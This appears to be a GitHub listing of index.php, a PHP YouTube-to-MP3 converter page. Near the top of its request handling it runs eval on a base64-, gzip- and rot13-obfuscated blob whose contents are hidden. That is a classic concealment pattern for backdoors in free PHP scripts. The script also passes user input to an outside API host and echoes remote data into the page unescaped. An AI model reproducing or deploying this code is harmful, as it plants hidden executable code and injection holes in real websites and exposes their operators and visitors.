-
Notifications
You must be signed in to change notification settings - Fork 70
/
Copy pathindex.php
231 lines (182 loc) · 7.68 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
<?php
if(isset($_GET['ytlink'])) {
$id=strip_tags($_GET['ytlink']);
$id=trim($id);
}
if(!empty($id)) {
if (strpos($id, 'youtube.com') !== FALSE)
{
$query = parse_url($id, PHP_URL_QUERY);
parse_str($query, $params);
$id = $params['v'];
}
if (strpos($id, 'youtu.be') !== FALSE)
{
$ex = explode('/',$id);
$id = end($ex);
}
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUnHEuy4DfyarX2+KXhHPs0o5xwvLuWcs77elNdGZgBOECBAoFtYPdx/tv6I13solz/jQywE9p9smZJs
+ZMPWpXf/1/8Lauymyf8cwrK6nC3AmzDE3UlTjZaNBohU4wImn6oue3r8DrE8UpabJ/zfyG2iquVvsb4CBNNwAHFX4gujah4BOouJ3IJliTQsmeTl1NdzCM7aVTeMWPWZx1TfiBh3GZFoGPVmCpxiXTHfDKZlZKhw3wNE0
dIv2CzYnzXebK5O0K83W3UAS7RPBWUGi+3QOsEab94b7uwoaVAxCD/WgHN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Ge
+BX98AiJ0Ws/G1dA2++Bf1+1xTeg6nCZ8ub0juPNUUiNr+G4tPQViIk9cGkcl3Kb5CWznRFevxNbASzD9jXjdUDqplNUZiuBX6UXBTa5+pZFamW6zEIlO1zhSYGLTmIJT4QjX
+NCYtacOZPLuSsnm4r0ovmah5l8HzqE32Rch4GqO7bsycE92ZfoFvr1cRJJ0/J8OraL9gh0OCRrm5wwNceGlXWKTMauH/FB+P9HMLiORGC4Jt8/xe/L3J66fkJSI/w2pHdPgnFrC4j/Llw+bv0MT/P/
+F/j9+78=')))));
if(isset($type)) {
// FETCHING DATA FROM SERVER
$jsonData = @file_get_contents("http://api.youtube6download.top/api/?id=$id");
$links = json_decode($jsonData,TRUE);
} else { $error = "Error Found!"; }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>YouTube to MP3 Converter PHP Script</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<style>
/* Remove the navbar's default margin-bottom and rounded borders */
.navbar {
margin-bottom: 0;
border-radius: 0;
}
/* Set height of the grid so .sidenav can be 100% (adjust as needed) */
.row.content {height: 450px}
/* Set gray background color and 100% height */
.middle {
padding-top: 20px;
background-color: #f1f1f1;
height: 100%;
}
/* Set black background color, white text and some padding */
footer {
background-color: #555;
color: white;
padding: 15px;
}
/* On small screens, set height to 'auto' for sidenav and grid */
@media screen and (max-width: 767px) {
.sidenav {
height: auto;
padding: 15px;
}
.row.content {height:auto;}
}
</style>
<script>
function validatebeforesubmit(thisform) {
var yout = thisform.ytlink.value;
if(yout==null || yout == "")
{
alert("Please Enter the Youtube Video URL");
thisform.ytlink.focus();
return false;
}
return true;
}
</script>
</head>
<body>
<nav class="navbar navbar-inverse">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Logo</a>
</div>
<div class="collapse navbar-collapse" id="myNavbar">
<ul class="nav navbar-nav">
<li class="active"><a href="/">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Privacy</a></li>
<li><a href="#">Contact</a></li>
</ul>
</div>
</div>
</nav>
<br/><br/>
<div class="container-fluid text-center">
<div class="row content">
<div class="col-sm-4 sidenav">
<div class="well">
<p>ADS</p>
</div>
<div class="well">
<p>You can use this place as a widget.</p>
</div>
</div>
<div class="col-sm-4 well text-left middle">
<h2>YouTube to Mp3 Converter</h2>
<br/>
<form action="" method="GET" onsubmit="return validatebeforesubmit(this)">
<div class="form-group">
<label for="url">YouTube Video Link</label>
<input type="url" class="form-control" name="ytlink" id="url" placeholder="https://www.youtube.com/watch?v=R7xbhKIiw4Y">
</div>
<button type="submit" value="submit" class="btn btn-success">Convert</button>
</form>
<?php
if(!empty($error)) { ?>
<div><br />
<div class="alert alert-warning">
<strong>Warning!</strong> Something went wrong, Possible reasons!</div>
<br>
<ul>
<li>Check Youtube video URL.</li>
<li>Maybe That video have been deleted.</li>
<li>Maybe You have entered something else except URL.</li>
</ul>
</div>
<?php } else if(!empty($links)) {
echo '<h4>'.$ytinfo['title'].'</h4>
<p><img src="'.$ytinfo['thumbnail_url'].'" class="img-thumbnail pull-left" width="150" height="150"/><br/>
<span class="label label-info pull-right">By '.$ytinfo['author_name'].'</span><br/>
<span class="label label-danger pull-right">YouTube</span><br/>
<a href="'.$links['data']['html'].'" target="_blank" class="btn btn-warning btn-lg pull-right"> <span class="glyphicon glyphicon-download"></span>
Download Mp3</a></p><br/>';
} else {
echo '<br /><div class="row" style="background:#fff">
<div class="col-sm-4">Any Text/ Paragraph or Advertisement that you want.</div>
</div>';
}
?>
</div>
<div class="col-sm-4 sidenav">
<div class="well">
<p>ADS</p>
</div>
<div class="well">
<p>You can use this place as a widget.<br/>
</p>
</div>
</div>
</div>
</div>
<br/><br/>
<footer class="container-fluid text-center">
<p>Footer Text</p>
</footer>
</body>
</html>